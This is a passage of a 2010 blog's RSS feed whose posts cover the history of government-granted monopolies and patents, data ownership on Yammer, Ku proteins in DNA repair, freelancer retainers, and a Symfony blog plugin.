<p>Because the Americans had suffered so much at the hands of government granted monopolies, they were commited to placing extremely careful limits on their newly independent government&#8217;s ability to grant monopolies. Thus in Article 1 of the Constitution, Section 8, they wrote:</p>
<p>&#8220;<a href="http://www.law.cornell.edu/constitution/constitution.articlei.html">To promote the progress of science and useful arts, by securing for limited times to authors and inventors the exclusive right to their respective writings and discoveries</a>&#8221;</p>
<p>The purpose of this section was likely meant to be two-fold: to allow government granted monopolies in one, limited, case, and to ban them in all other cases. Although the monopoly abuses of the Stuart Kings are now forgotten, they were vivid for the Founding Fathers In fact, in 1774, <a href="http://www.yale.edu/lawweb/avalon/jeffsumm.htm">when the government of Virginia asked Thomas Jefferson to write up its formal letter of complaint to the British King</a>, Jefferson starts off with the early history of Virginia and the Stuart Kings: &#8220;A family of princes was then on the British throne, whose treasonable crimes against their people brought on them afterwards the exertion of those sacred and sovereign rights of punishment reserved in the hands of the people for cases of extreme necessity.&#8221; That is to say, the King had to be killed because he commited great crimes against the people and oppressed them politically and economically. Among those crimes was an extreme abuse of the government&#8217;s ability to sell monopolies to the hightest bidder, as described in this passage from Christopher Hill&#8217;s book <a href="http://www.amazon.com/gp/product/0393300161/sr=8-2/qid=1155138502/ref=pd_bbs_2/104-9702378-8654315?ie=UTF8">Century of Revolution</a>:</p>
<blockquote><p>It is difficult for us to picture for ourselves the life of a man living in a house built with monopoly bricks, with windows of monopoly glass; heated with monopoly coal, burning in a grate made of monopoly iron. His walls were lined with monopoly tapestries. He slept on monopoly feathers, did his hair with monopoly brushes. He washed his face with monopoly soap, his clothes in monopoly starch. He dressed in monopoly lace, monopoly linen, monopoly belts, and monopoly gold thread. His hat was monopoly beaver, with a monopoly band. His clothes were held up with monopoly belts, monopoly buttons, and monopoly pins. They were dyed with monopoly dyes. He ate monopoly butter, monopoly currants, monopoly red herrings, monopoly salmon, and monopoly lobsters. His food was seasoned with monopoly salt, monopoly pepper, and monopoly vinegar. Out of monopoly glasses he drank monopoly wines and monopoly spirits; our of pewter mugs made from monopoly tin he drank monopoly beer made from monopoly hops, kept in monopoly barrels or monopoly bottles, sold in monopoly-licensed ale-houses. He smoked monopoly tobacco in monopoly pipes, played with monopoly dice or monopoly cards, or on monopoly lute strings. He wrote with monopoly pens, on monopoly paper; read (possibly through monopoly reading glasses by the light of monopoly candles) monopoly printed books, including monopoly Bibles, printed on paper made from monopoly collected rags, bound in sheepskin dressed with monopoly alum. He exercised himself with monopoly golf balls and in monopoly licensed bowling alleys. Mice were caught in monopoly mousetraps.</p>
<p>&#8230;Monopolies interfered with the normal channels of trade. By the late 1630s, the economy was suffering. &#8220;If such a system had been maintained,&#8221; Mr Unwin wrote of Stuart economic regulations in general, &#8220;the Industrial Revolution would never have happened.&#8221;</p></blockquote>
<p>Against this the citizens of the British Empire revolted, killed their King, and, after an interlude, passed the English Bill of Rights. Jefferson&#8217;s point was that the rights described in the Bill Of Rights applied to the colonists as much as to the citizens in the home country, but the British Parliment disagreed. Therefore when the colonists won their independence and set up their own government, they were keen on ensuring for themsevles certain rights, and protecting themselves from certain abuses, among them the abuses of monopoly.</p>
<p>Article 1, Section 8 of the Constitution makes clear that the American Federal government will not be handing out monoplies on tin, rags, golf balls and butter. Monopolies will be reserved for one limited case: &#8220;securing for limited times to authors and inventors the exclusive right to their respective writings and discoveries&#8221;. The Founding Father&#8217;s knew that government granted monopolies were dangerous, and needed to be carefully limited. This is a bit of wisdom that the US government has largely forgotten in recent decades. Patents are dangerous, and need to be carefully limited. For many industries, they should never be allowed. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.teamlalala.com/blog/2010/03/06/marco-arment-software-patents-are-bad-for-the-economy/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Social online networks: who owns the data</title>
		<link>http://www.teamlalala.com/blog/2010/03/06/social-online-networks-who-owns-the-data/</link>
		<comments>http://www.teamlalala.com/blog/2010/03/06/social-online-networks-who-owns-the-data/#comments</comments>
		<pubDate>Sat, 06 Mar 2010 21:39:15 +0000</pubDate>
		<dc:creator>lawrence</dc:creator>
				<category><![CDATA[community]]></category>
		<category><![CDATA[connecting with people]]></category>
		<category><![CDATA[copyright]]></category>
		<category><![CDATA[online social networking sites]]></category>

		<guid isPermaLink="false">http://www.teamlalala.com/blog/?p=1489</guid>
		<description><![CDATA[Jim Stogdill writes:
The question of data privacy and ownership comes up over and over in our Yammer discussions. The last time it came up the thread ran for nearly 100 responses. Even though the typical post is something like &#8220;Who is using Grails?&#8221; or &#8220;Is the X application slow for everyone today or just for [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://radar.oreilly.com/2010/03/yammer-will-viral-work-in-the.html">Jim Stogdill writes</a>:</p>
<blockquote><p>The question of data privacy and ownership comes up over and over in our Yammer discussions. The last time it came up the thread ran for nearly 100 responses. Even though the typical post is something like &#8220;Who is using Grails?&#8221; or &#8220;Is the X application slow for everyone today or just for me?&#8221; data privacy is simply one of the biggest concerns going for a lot of companies these days. The mere suggestion that our data isn&#8217;t under our control is a big deal.</p>
<p>This point was demonstrated to me in a personal and compelling way during my first week on Yammer. I mentioned a client meeting so that I could share a few tidbits with colleagues. Hours later I was surprised and dismayed when a Google search revealed that my comments had been re-posted to the friendfeed of someone I didn&#8217;t even know. Someone on our network had written a quick and dirty app to follow his Yammer RSS feed and re-post everything to friendfeed. Then for good measure he followed everyone in our network. When I &#8220;politely suggested&#8221; he take it down he equally politely explained to me that I just didn&#8217;t get Web 2.0.</p></blockquote>
<p>I think about this in relation to <a href="http://www.wpquestions.com/">WP Questions</a>. We haven&#8217;t yet offered truly private uses of the software, but I suspect that is something we will need to offer soon, if we are going to capture all the niches to which such software can be used. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.teamlalala.com/blog/2010/03/06/social-online-networks-who-owns-the-data/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Things that regulate cell aging</title>
		<link>http://www.teamlalala.com/blog/2010/03/05/things-that-regulate-cell-aging/</link>
		<comments>http://www.teamlalala.com/blog/2010/03/05/things-that-regulate-cell-aging/#comments</comments>
		<pubDate>Fri, 05 Mar 2010 17:39:41 +0000</pubDate>
		<dc:creator>lawrence</dc:creator>
				<category><![CDATA[biology]]></category>

		<guid isPermaLink="false">http://www.teamlalala.com/blog/?p=1487</guid>
		<description><![CDATA[I see this article about how cells repair double-strand breaks in the DNA: 
Humans utilize at least two major pathways to repair DNA double-strand breaks (DSBs): homologous recombination (HR) and non-homologous end joining (NHEJ), and there are at least two genetically discrete sub-pathways of NHEJ: classical-NHEJ (C-NHEJ) and alternative-NHEJ (A-NHEJ). Since the products generated by [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.plosgenetics.org/article/info:doi/10.1371/journal.pgen.1000855?utm_source=feedburner&#038;utm_medium=feed&#038;utm_campaign=Feed:+plosgenetics/NewArticles+(PLoS+Genetics:+New+Articles)">I see this article about how cells repair double-strand breaks in the DNA: </a></p>
<blockquote><p>Humans utilize at least two major pathways to repair DNA double-strand breaks (DSBs): homologous recombination (HR) and non-homologous end joining (NHEJ), and there are at least two genetically discrete sub-pathways of NHEJ: classical-NHEJ (C-NHEJ) and alternative-NHEJ (A-NHEJ). Since the products generated by each of these three repair (sub)pathways differ substantially from one another, it is biologically critical that certain DSBs are repaired by certain DSB repair pathways. How this pathway choice is made in human cells was unclear. In this study, knockout human cell lines that are defective in core C-NHEJ factors were generated. These cell lines are by-and-large extremely deficient in DSB repair, proving that C-NHEJ is the major DSB repair pathway in human cells. Unexpectedly, cell lines reduced for the C-NHEJ factors Ku70 or Ku86, carried out proficient DSB repair because of hyperactive A-NHEJ. In published work we have also demonstrated that Ku suppresses HR throughout the genome and at telomeres. Collectively, these data imply that Ku ensures that C-NHEJ is the major DSB repair pathway by two mechanisms: i) enabling C-NHEJ and ii) by actively suppressing HR and A-NHEJ. Thus, Ku is the critical regulator of pathway choice in human somatic cells.</p></blockquote>
<p>Since double strand breaks can lead to cell senescence, then Ku factors must play a role in how people ages. If I was a biology researcher, I&#8217;d follow up on this to find the connection between Ku and senescence.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.teamlalala.com/blog/2010/03/05/things-that-regulate-cell-aging/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Jason Pelker: web developers should seek retainers</title>
		<link>http://www.teamlalala.com/blog/2010/03/05/jason-pelker-web-developers-should-seek-retainers/</link>
		<comments>http://www.teamlalala.com/blog/2010/03/05/jason-pelker-web-developers-should-seek-retainers/#comments</comments>
		<pubDate>Fri, 05 Mar 2010 17:20:48 +0000</pubDate>
		<dc:creator>lawrence</dc:creator>
				<category><![CDATA[clients]]></category>

		<guid isPermaLink="false">http://www.teamlalala.com/blog/?p=1485</guid>
		<description><![CDATA[ Jason Pelker makes a good point about the frequency with which projects get underestimated:
90% of the time, the freelancer is going to get screwed on the estimate. My guess is that 9.9% of the time, the client gets screwed (I use the term loosely—as long as the site is completed within the contractual constraints [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://item-9.com/2010/02/freelancers-should-use-retainers-to-remove-the-guessing-from-project-estimates/"> Jason Pelker makes a good point about the frequency with which projects get underestimated:</a></p>
<blockquote><p>90% of the time, the freelancer is going to get screwed on the estimate. My guess is that 9.9% of the time, the client gets screwed (I use the term loosely—as long as the site is completed within the contractual constraints of the project, the client is generally happy). That leaves 0.1% of all estimates that accurately reflected the correct amount of time it took to accomplish the project. Of course, any time valuable should to be taken with a grain of salt because what takes an hour today might take 90 minutes or 45 minutes tomorrow depending on all external factors, not the least of which is distraction.</p>
<p>The bigger point is that clients hate unexpected change, especially a price increase due to underestimation on your part. There are few things most likely to guarantee that you won’t be asked to do second project with a client than raising the cost of your invoice halfway through a project (in fact, most contracts aren’t going to permit this anyway, so again, you’ll likely eat the extra time and costs yourself, anyway).</p>
<p>Using a Retainer to Eliminate Guessing</p>
<p>Herein lies the beauty of the retainer block. You might already be using retainers after the project is complete for tasks like website maintenance or social media marketing (if you’re not, you should—it’s a great way to earn residual income).</p></blockquote>
<p>I have suggested to a number of clients that they simply pay me a flat monthly fee, but then they worry about the months when not much is changing &#8211; why would they want to pay me then? Estimation is a point of pain in the relationship between developers and clients. It is difficult to educate the clients so that they can understand why things cost as much as they do. Its tragic how many times I&#8217;ve seen a potential client go with the lowest bidder, knowing full well that the bidder was planning on ripping the client off, because the price was far to low to do what the client actually wanted. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.teamlalala.com/blog/2010/03/05/jason-pelker-web-developers-should-seek-retainers/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>A blog plugin for Symfony</title>
		<link>http://www.teamlalala.com/blog/2010/03/05/a-blog-plugin-for-symfony/</link>
		<comments>http://www.teamlalala.com/blog/2010/03/05/a-blog-plugin-for-symfony/#comments</comments>
		<pubDate>Fri, 05 Mar 2010 16:52:31 +0000</pubDate>
		<dc:creator>lawrence</dc:creator>
				<category><![CDATA[symfony]]></category>

		<guid isPermaLink="false">http://www.teamlalala.com/blog/?p=1483</guid>
		<description><![CDATA[Here is a great post on extending a blog plugin for Symfony.  There is a new hack attack going around for WordPress, so I&#8217;m thinking about switching to Symfony for my blogging. 
]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.doggetto.com/2010/02/producing-a-faux-wordpress-plugin-for-symfony-part-ii/">Here is a great post on extending a blog plugin for Symfony. </a> There is a new hack attack going around for WordPress, so I&#8217;m thinking about switching to Symfony for my blogging. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.teamlalala.com/blog/2010/03/05/a-blog-plugin-for-symfony/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
